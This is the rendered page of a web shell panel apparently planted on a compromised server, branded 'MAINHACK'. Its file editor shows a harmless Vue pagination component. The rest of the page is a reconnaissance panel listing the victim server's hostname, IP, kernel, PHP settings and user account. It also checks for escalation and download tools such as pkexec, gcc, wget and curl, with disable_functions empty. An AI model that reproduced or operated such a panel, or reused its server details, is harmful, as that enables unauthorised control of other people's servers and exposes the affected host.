[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: Pagination.vue
<template> <!-- pagination-start --> <nav aria-label="Page navigation example"> <ul class="pagination pagination-sm float-right mb-0"> <li class="page-item" :class="{ 'not-allowed disabled': pagination.current_page <= 1 }" > <a v-tooltip="'First'" class="page-link" tabindex="-1" @click.prevent="changePage(1)" ><i class="fas fa-angle-double-left" /></a> </li> <li class="page-item" :class="{ 'not-allowed disabled': pagination.current_page <= 1 }" > <a v-tooltip="'Prev'" href="#" class="page-link" :class="{ 'not-allowed': pagination.current_page <= 1 }" @click.prevent="changePage(pagination.current_page - 1)" ><i class="fas fa-angle-left" /></a> </li> <li v-for="page in pages" :key="page" class="page-item" :class="{ 'not-allowed disabled currentpage': isCurrentPage(page) }" > <a href="#" class="page-link" @click.prevent="changePage(page)">{{ page }}</a> </li> <li class="page-item" :class="{ 'not-allowed disabled': pagination.current_page >= pagination.last_page, }" > <a v-tooltip="'Next'" href="#" class="page-link" @click.prevent="changePage(pagination.current_page + 1)" ><i class="fas fa-angle-right" /></a> </li> <li class="page-item" :class="{ 'not-allowed disabled': pagination.current_page >= pagination.last_page, }" > <a v-tooltip="'Last'" href="#" class="page-link" @click.prevent="changePage(pagination.last_page)" ><i class="fas fa-angle-double-right" /></a> </li> </ul> </nav> <!-- pagination-end --> </template> <script> export default { name: "Pagination", props: { pagination: { type: Object, default: null, }, offset: { type: Number, default: null, }, }, computed: { pages() { const pages = []; let from = this.pagination.current_page - Math.floor(this.offset / 2); if (from < 1) { from = 1; } let to = from + this.offset - 1; if (to > this.pagination.last_page) { to = this.pagination.last_page; } while (from <= to) { pages.push(from); from++; } return pages; }, }, methods: { isCurrentPage(page) { return this.pagination.current_page === page; }, changePage(page) { if (page > this.pagination.last_page) { page = this.pagination.last_page; } this.pagination.current_page = page; this.$emit("paginate"); }, }, }; </script> <style scoped> .not-allowed { cursor: not-allowed; } .not-allowed a { background: #ffffff14 !important; } .currentpage a { background: #6366f1 !important; color: #fff !important; } .pagination-sm .page-link { padding: 10px 15px; font-size: 15px; line-height: 1.5; } .dark-mode .page-item:not(.active) .page-link { background-color: #000000; border-color: #6c757d; } .dark-mode .page-item .page-link { color: #ffffff; } </style>
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server1.winmanyltd.com
Server IP: 203.161.60.52
PHP Version: 8.3.27
Server Software: Apache
System: Linux server1.winmanyltd.com 4.18.0-553.22.1.el8_10.x86_64 #1 SMP Tue Sep 24 05:16:59 EDT 2024 x86_64
HDD Total: 117.98 GB
HDD Free: 59.85 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
Yes
git:
Yes
User Info
Username: eliosofonline
User ID (UID): 1002
Group ID (GID): 1003
Script Owner UID: 1002
Current Dir Owner: 1002